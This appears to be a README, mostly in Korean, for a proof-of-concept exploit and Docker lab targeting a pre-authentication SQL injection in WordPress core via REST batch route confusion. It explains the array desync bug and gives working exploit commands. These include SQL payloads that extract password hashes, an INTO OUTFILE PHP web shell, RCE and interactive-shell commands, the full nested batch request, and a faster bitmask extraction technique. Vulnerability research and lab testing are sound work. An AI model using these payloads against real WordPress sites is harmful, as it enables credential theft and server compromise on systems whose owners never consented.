
CVE-2026-63030 + CVE-2026-60137을 위한 교육용 PoC + 랩: REST 배치 라우트 혼동을 통한 WordPress 코어 사전 인증 SQLi
CVE-2026-63030 + CVE-2026-60137에 대한 교육용 PoC 및 랩: REST 배치 라우트 혼동을 통한 WordPress 코어 사전 인증 SQL 인젝션.
Adam Kues(Searchlight Cyber / Assetnote)가 발견했습니다. WordPress 6.9.5 / 7.0.2에서 수정되었습니다.
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1은 여러 REST API 호출을 하나의 HTTP 요청으로 묶습니다. 자체적인 인증 검사는 없습니다. 보안은 각 하위 요청의 권한 콜백(permission callback)에 위임됩니다.
serve_batch_request_v1()은 두 개의 병렬 배열을 생성합니다:
$matches[]는 각 하위 요청을 **디스패치(dispatch)**할 핸들러를 추적합니다$validation[]는 각 하위 요청이 검증을 통과했는지 추적합니다디스패치 시 두 배열을 동일한 오프셋으로 인덱싱합니다. 버그: 하위 요청의 경로가 wp_parse_url()에서 실패하면 WP_Error가 $validation에는 푸시되지만 $matches에는 푸시되지 않습니다. 이로 인해 $matches가 하나씩 밀리면서 이후의 각 하위 요청이 잘못된 핸들러로 디스패치됩니다.
디싱크는 두 번 사용됩니다.
외부 배치(Outer batch). 본문에 내부 배치를 담은 /wp/v2/posts 요청이 배치 핸들러(자기 호출)로 디스패치됩니다. 이 요청은 posts 요청으로 검증되었기 때문에 내부 requests 배열은 배치 스키마에 대해 전혀 검사되지 않았습니다. 이로 인해 메서드 허용 목록(allowlist)을 우회하고 내부 하위 요청이 GET을 사용할 수 있습니다.
내부 배치(Inner batch). /wp/v2/categories?author_exclude=<SQLI> 요청이 posts get_items() 핸들러로 디스패치됩니다. categories 스키마에는 author_exclude가 정의되어 있지 않으므로 검증을 그대로 통과합니다. 그러나 posts get_items()는 이를 WP_Query::author__not_in에 매핑하며, 여기서 값은 SQL에 원시(raw)로 삽입됩니다.
취약한 WP_Query 코드는 author__not_in이 이미 배열인 경우에만 삭제(sanitize)했습니다:
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
문자열 값은 is_array() 검사를 완전히 우회합니다. (array) 캐스트는 삭제 없이 값을 감쌀 뿐입니다.
데이터베이스 읽기 (영향을 받는 모든 사이트):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
부울 오라클(Boolean oracle): posts가 반환되면 true, 비어 있으면 false입니다. 문자당 이진 탐색을 수행합니다.
파일 쓰기 (MySQL FILE 권한 필요, WordPress 기본값 아님):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
실제 HTTP 요청:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
배열이 어떻게 어긋나는지:
serve_batch_request_v1()은 두 개의 루프에서 하위 요청을 처리합니다. 첫 번째 루프는 모든 하위 요청을 검증하고 $matches[]와 $validation[]을 생성합니다. 두 번째 루프는 $matches[$i]를 핸들러로 사용하여 각 하위 요청을 디스패치합니다. 프라이머(primer)의 오류가 $matches에 없기 때문에 두 번째 루프는 각 요청을 잘못된 핸들러와 짝지어 줍니다.
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
기존 PoC는 블라인드 부울 추출을 사용합니다: HTTP 요청당 1비트, 비밀번호 해시 하나에 약 224개의 요청이 필요합니다. 이 저장소는 두 가지 기법을 결합하여 약 75배 더 빠른 추출을 제공합니다.
X-WP-Total 오라클. WordPress는 게시물 쿼리에 SQL_CALC_FOUND_ROWS를 추가하고 그 개수를 X-WP-Total 응답 헤더에 넣습니다. PHP가 UNION 행을 응답 본문에서 걸러내더라도 SQL 수준에서는 개수에 포함됩니다. 조건부 UNION은 개별 비트를 인코딩합니다:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
X-WP-Total = 0이면 비트가 설정되지 않은 것이고, 1이면 비트가 설정된 것입니다. 7개의 탐색 = ASCII 문자 하나입니다.
무제한 내부 배치. 외부 배치는 스키마를 통해 maxItems: 25를 검증합니다. 라우트 혼동이 이를 우회합니다: 내부 배치는 크기 검사 없이 재귀적으로 실행됩니다. 여러 문자에 대한 7개의 비트 탐색은 모두 하나의 요청에 담을 수 있습니다.
16문자 x 7비트 = 요청당 112개의 탐색. 34자 phpass 해시는 약 224개의 요청 대신 약 3개의 요청으로 처리됩니다.
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent
$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent
승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 명시적인 서면 테스트 허가를 받은 시스템에 대해서만 사용하십시오.